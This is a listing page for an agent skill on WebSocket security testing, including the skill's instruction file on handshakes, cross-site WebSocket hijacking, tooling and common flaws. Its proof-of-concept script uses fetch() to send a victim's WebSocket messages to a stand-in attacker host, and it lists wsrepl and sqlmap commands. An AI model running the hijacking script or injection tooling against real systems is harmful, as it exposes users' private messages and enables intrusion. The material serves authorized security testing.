Websocket Security
Assess WebSocket handshakes, CSWSH, and real-time channel flaws during authorized tests on chat, notifications, or WS-backed APIs.
Overview
websocket-security is an agent skill for the Ship phase that covers WebSocket handshake review, CSWSH, tooling, and common real-time channel flaws in authorized tests.
Install
npx skills add https://github.com/yaklang/hack-skills --skill websocket-securityWhat is this skill?
- Detect Upgrade/websocket handshakes and 101 Switching Protocols in proxy or DevTools
- Cross-site WebSocket hijacking (CSWSH) and auth model alignment with REST APIs
- Tooling bridges: wsrepl, ws-harness, Burp-style inspection
- Routing to api-sec when REST/GraphQL companions share auth
- Authorized-testing framing for sensitive tokens and message content
- Sec-WebSocket-Version: 13 documented as current standard version
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 1/3 security scanners passed (skills.sh audits).
What problem does it solve?
Your app exposes WebSockets for chat or live updates but you do not have a repeatable way to audit handshake auth and cross-site hijacking risk.
Who is it for?
Builders shipping WS channels who already proxy traffic and need expert CSWSH and protocol checks in scope.
Skip if: Apps with no WebSocket or SSE-style upgrades, or testing without explicit authorization.
When should I use this skill?
Use when apps use real-time channels, chat, notifications, or WS-backed APIs.
What do I get? / Deliverables
You identify handshake indicators, test CSWSH and tooling paths, and align deeper API auth checks via api-sec when needed.
- Handshake and CSWSH test notes
- Cross-reference plan for api-sec on shared auth models
Recommended Skills
Journey fit
Real-time channel security review fits Ship before exposing WS endpoints to production traffic. Security subphase catalogs protocol-level hijacking and authz gaps distinct from generic REST testing.
How it compares
Protocol-focused security skill—not a WebSocket server implementation or Socket.io setup guide.
Common Questions / FAQ
Who is websocket-security for?
Solo and indie developers testing authorized targets that use WebSockets for chat, notifications, or API streaming.
When should I use websocket-security?
Use it in Ship (security) when reviewing real-time channels before go-live; during Build (integrations) when first wiring WS auth next to REST.
Is websocket-security safe to install?
Content assumes offensive security workflows; confirm scope and review the Security Audits panel on this page before agent-driven exploitation steps.
SKILL.md
READMESKILL.md - Websocket Security
# SKILL: WebSocket Security > **AI LOAD INSTRUCTION**: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in **authorized** tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load **[api-sec](../api-sec/SKILL.md)** when present in the workspace. ## 0. QUICK START During proxy or raw traffic review, watch for: ```http Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Version: 13 Sec-WebSocket-Protocol: optional-subprotocol ``` Server success response indicators: ```http HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= ``` **Routing note**: in Burp/browser DevTools, filter for `101` and `Upgrade: websocket`; for deeper API testing, align authn/authz models through `api-sec`. --- ## 1. PROTOCOL BASICS ### Client request (typical) - **`Upgrade: websocket`** and **`Connection: Upgrade`** — required upgrade handshake. - **`Sec-WebSocket-Key`** — base64 nonce; server hashes with magic GUID and responds with **`Sec-WebSocket-Accept`**. - **`Sec-WebSocket-Version: 13`** — current standard version for browser interoperability. ### Server response - **`HTTP/1.1 101 Switching Protocols`** — handshake complete; subsequent frames are WebSocket binary/text frames per RFC. Minimal conceptual flow: ```text Client: HTTP GET + Upgrade headers Server: 101 + Sec-WebSocket-Accept Channel: framed messages (text/binary), ping/pong, close ``` --- ## 2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH) ### Condition - The server **does not validate `Origin`** (or equivalent binding) on the WebSocket handshake, **and** - The victim has an **active session** (cookie-based or browser-stored creds) to the target site. Then a malicious page loaded in the victim’s browser may open a WebSocket **as the victim**, similar in spirit to CSRF but for a **persistent bidirectional channel**. ### Proof-of-concept pattern (laboratory / authorized target only) ```javascript const ws = new WebSocket('wss://vulnerable.example.com/messages'); ws.onopen = () => { ws.send('HELLO'); }; ws.onmessage = (event) => { fetch('https://attacker.example.net/?' + encodeURIComponent(event.data)); }; ``` **Testing notes**: Confirm whether **`Origin`** is checked, whether **cookies** are sent (`SameSite` rules), and whether **subprotocol** or **custom headers** are required—missing checks increase CSWSH risk. --- ## 3. TESTING WITH TOOLS ### wsrepl ```bash pip install wsrepl wsrepl -u wss://target.example.com/ws -P auth_plugin.py ``` Use a **plugin** to reproduce browser cookies, headers, or token refresh during the WebSocket lifecycle. ### ws-harness (bridge to HTTP for other tools) ```bash python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt ``` Example downstream use with SQL injection tooling over the bridged HTTP surface (adjust URL to local listener): ```bash sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch ``` ### Burp Suite ecosystem - **SocketSleuth** — inspect and manipulate WebSocket traffic inside Burp. - **WebSocket Turbo Intruder** — high-rate or scripted message fuzzing. --- ## 4. COMMON VULNERABILITIES | Issue | Why it matters | |-------|----------------| | Missing **`Origin`** validation | Enables **CSWSH** from attacker-controlled pages | | **Auth token in URL** (`wss://host/ws?token=...`) | Logs, proxies, Referer leakage, browser history | | **No rate limiting** on messages | Abuse, brute force, DoS | | **`ws://` instead of `wss://`** | Cleartext on the wire (MITM) | | **Injection in message bodies** | SQLi, command injection, or XSS if content is